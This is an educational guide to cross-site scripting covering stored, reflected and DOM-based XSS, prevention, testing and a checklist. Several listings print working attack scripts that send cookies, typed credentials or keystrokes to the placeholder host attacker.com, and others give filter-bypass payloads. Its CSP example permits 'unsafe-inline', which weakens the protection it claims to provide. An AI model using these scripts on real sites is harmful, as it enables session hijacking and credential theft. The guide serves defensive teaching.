Cross-Site Scripting (XSS)

Complete Guide to Understanding and Preventing XSS Attacks

What is Cross-Site Scripting?

Cross-Site Scripting (XSS) is a type of security vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. When a victim visits the compromised page, the malicious script executes in their browser, potentially stealing sensitive information, hijacking sessions, or performing unauthorized actions on their behalf.

1 How XSS Works: The Fundamentals

1.1 The Core Problem

XSS exploits the trust that a web browser has in a website. When a website fails to properly validate or sanitize user input, attackers can inject malicious code that gets executed by other users' browsers.

1.2 Basic Attack Flow

1. **Injection**: Attacker finds an input field that doesn't properly validate data
2. **Storage/Reflection**: The malicious script is stored in a database or immediately reflected back to the user
3. **Execution**: When other users visit the page, their browsers execute the malicious script
4. **Exploitation**: The script performs malicious actions in the victim's browser context

2 Types of XSS Attacks

2.1 Stored XSS (Persistent XSS)

Most Dangerous Type

The malicious script is permanently stored on the target server (in a database, comment field, user profile, etc.) and affects every user who views the compromised content.

Example Scenario: A comment section on a blog that doesn't sanitize user input.

Listing 1: Malicious Comment Input

```
<script>
  // Steal user's session cookie
  var stolenCookie = document.cookie;
  fetch('http://attacker.com/steal?cookie=' + stolenCookie);
</script>
Nice blog post!
```

2.2 Reflected XSS (Non-Persistent XSS)

The malicious script is embedded in a URL and reflected back to the user by the web server. The attack requires the victim to click a specially crafted link.

Example URL:

Listing 2: Malicious URL

```
https://example.com/search?q=<script>alert('XSS')</script>
```

2.3 DOM-based XSS

The vulnerability exists in the client-side code rather than the server-side code. The attack manipulates the DOM environment in the victim's browser.

Listing 3: Vulnerable DOM Code

```
// Vulnerable code
var userInput = window.location.hash.substring(1);
document.getElementById('output').innerHTML = userInput;

// Attack URL: #<img src=x onerror=alert('XSS')>
```

3 Real-World XSS Attack Examples

3.1 Session Hijacking

Listing 4: Session Theft Script

```
<script>
  // Send session cookie to attacker
  fetch('https://attacker.com/collect', {
    method: 'POST',
    body: JSON.stringify({
      cookie: document.cookie,
      url: window.location.href,
      userAgent: navigator.userAgent
    })
  });
</script>
```

3.2 Credential Harvesting

Listing 5: Fake Login Form

```
<script>
  // Create fake login form overlay
  var fakeForm = document.createElement('div');
  fakeForm.innerHTML = `
    <div style="position:fixed;top:0;left:0;width:100%;height:100%;
       background:rgba(0,0,0,0.8);z-index:9999;">
      <div style="position:absolute;top:50%;left:50%;transform:translate
         (-50%,-50%);background:white;padding:20px;">
        <h3>Session Expired - Please Login Again</h3>
        <input type="text" id="username" placeholder="Username"><br><br>
        <input type="password" id="password" placeholder="Password"><br><br>
        <button onclick="sendCredentials()">Login</button>
      </div>
    </div>
```

```
  `;
  document.body.appendChild(fakeForm);

  function sendCredentials() {
    fetch('https://attacker.com/credentials', {
      method: 'POST',
      body: JSON.stringify({
        username: document.getElementById('username').value,
        password: document.getElementById('password').value
      })
    });
  }
</script>
```

3.3 Keylogging

Listing 6: Keylogger Script

```
<script>
  var keystrokes = [];

  document.addEventListener('keypress', function(e) {
    keystrokes.push(e.key);

    // Send keystrokes every 50 characters
    if (keystrokes.length >= 50) {
      fetch('https://attacker.com/keylog', {
        method: 'POST',
        body: JSON.stringify({
          data: keystrokes.join(''),
          url: window.location.href
        })
      });
      keystrokes = [];
    }
  });
</script>
```

4 How to Prevent XSS Attacks

4.1 Input Validation and Sanitization

Golden Rule

Never trust user input. Always validate, sanitize, and encode user-supplied data.

4.1.1 Server-Side Prevention

1. Input Validation

Listing 7: Python Input Validation

```
import re

def validate_username(username):
    # Only allow alphanumeric characters and underscores
    if not re.match(r'^[a-zA-Z0-9_]+$', username):
        raise ValueError("Invalid username format")
```

```
    return username

def validate_comment(comment):
    # Remove HTML tags and special characters
    import html
    return html.escape(comment.strip())
```

2. Output Encoding

Listing 8: Safe Output Encoding

```
import html

def safe_display(user_input):
    # HTML encode before displaying
    return html.escape(user_input)

# Usage
user_comment = "<script>alert('XSS')</script>"
safe_output = safe_display(user_comment)
# Result: &lt;script&gt;alert('XSS')&lt;/script&gt;
```

3. Content Security Policy (CSP)

Listing 9: CSP Header

```
<meta http-equiv="Content-Security-Policy"
      content="default-src 'self'; script-src 'self' 'unsafe-inline';">
```

4.1.2 Client-Side Prevention

1. Safe DOM Manipulation

Listing 10: Safe vs Unsafe DOM Operations

```
// UNSAFE - vulnerable to XSS
element.innerHTML = userInput;

// SAFE - text content only
element.textContent = userInput;

// SAFE - using text nodes
element.appendChild(document.createTextNode(userInput));

// SAFE - using createElement
var div = document.createElement('div');
div.textContent = userInput;
element.appendChild(div);
```

2. Modern JavaScript Frameworks

Listing 11: React Safe Rendering

```
// React automatically escapes content
function UserComment({ comment }) {
  return <div>{comment}</div>; // Safe - auto-escaped
}

// Avoid dangerouslySetInnerHTML
function UnsafeComponent({ html }) {
  return <div dangerouslySetInnerHTML={{ __html: html }} />; // DANGEROUS
}
```

5 Secure Coding Best Practices

5.1 Defense in Depth Strategy

1. **Validate Input**: Check data type, format, and length
2. **Sanitize Data**: Remove or escape dangerous characters
3. **Encode Output**: Use appropriate encoding for context
4. **Use CSP**: Implement Content Security Policy headers
5. **HTTP Headers**: Set security headers like X-XSS-Protection
6. **Regular Testing**: Conduct security audits and penetration testing

5.2 HTTP Security Headers

Listing 12: Apache Security Headers

```
<IfModule mod_headers.c>
    Header always set X-XSS-Protection "1; mode=block"
    Header always set X-Content-Type-Options "nosniff"
    Header always set X-Frame-Options "DENY"
    Header always set Content-Security-Policy "default-src 'self'"
</IfModule>
```

5.3 Database Security

Listing 13: Secure Database Operations

```
import sqlite3
import html

def save_comment(user_id, comment):
    # Validate and sanitize input
    if not comment or len(comment) > 1000:
        raise ValueError("Invalid comment")

    # Escape HTML entities
    safe_comment = html.escape(comment.strip())

    # Use parameterized queries (prevents SQL injection too)
    conn = sqlite3.connect('database.db')
    cursor = conn.cursor()
    cursor.execute(
        "INSERT INTO comments (user_id, comment) VALUES (?, ?)",
        (user_id, safe_comment)
    )
    conn.commit()
    conn.close()
```

6 Testing for XSS Vulnerabilities

6.1 Manual Testing Techniques

Basic XSS Payloads:

Listing 14: Common Test Strings

```
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
"'><script>alert('XSS')</script>
javascript:alert('XSS')
```

Advanced Testing:

Listing 15: Advanced Payloads

```
<!-- Bypass filters -->
<ScRiPt>alert('XSS')</ScRiPt>
<img src=x onerror=eval(String.fromCharCode
   (97,108,101,114,116,40,39,88,83,83,39,41))>

<!-- Test for CSP bypass -->
<meta http-equiv="refresh" content="0;url=javascript:alert('XSS')">
```

6.2 Automated Security Tools

- **OWASP ZAP**: Free security scanner for web applications
- **Burp Suite**: Professional web application security testing platform
- **Nessus**: Vulnerability scanner with XSS detection capabilities
- **Semgrep**: Static analysis tool for security vulnerabilities

7 XSS Prevention Checklist

Security Checklist

Before Deployment:

- [ ] All user inputs are validated on both client and server side
- [ ] Output encoding is implemented for all data display contexts
- [ ] Content Security Policy headers are configured
- [ ] HTTP security headers are set (X-XSS-Protection, X-Frame-Options, etc.)
- [ ] Modern frameworks with built-in XSS protection are used
- [ ] Regular security testing is scheduled
- [ ] Error handling doesn't expose sensitive information
- [ ] Session management is secure (HttpOnly, Secure flags)

8 Conclusion

Cross-Site Scripting remains one of the most common and dangerous web application vulnerabilities. However, with proper understanding of the attack vectors and implementation of comprehensive security measures, XSS attacks can be effectively prevented.

Key Takeaways:

- Never trust user input - always validate and sanitize
- Use modern frameworks with built-in security features
- Implement defense-in-depth with multiple security layers
- Regular security testing is essential
- Stay updated with the latest security best practices

Remember: Security is not a one-time implementation but an ongoing process of vigilance and improvement.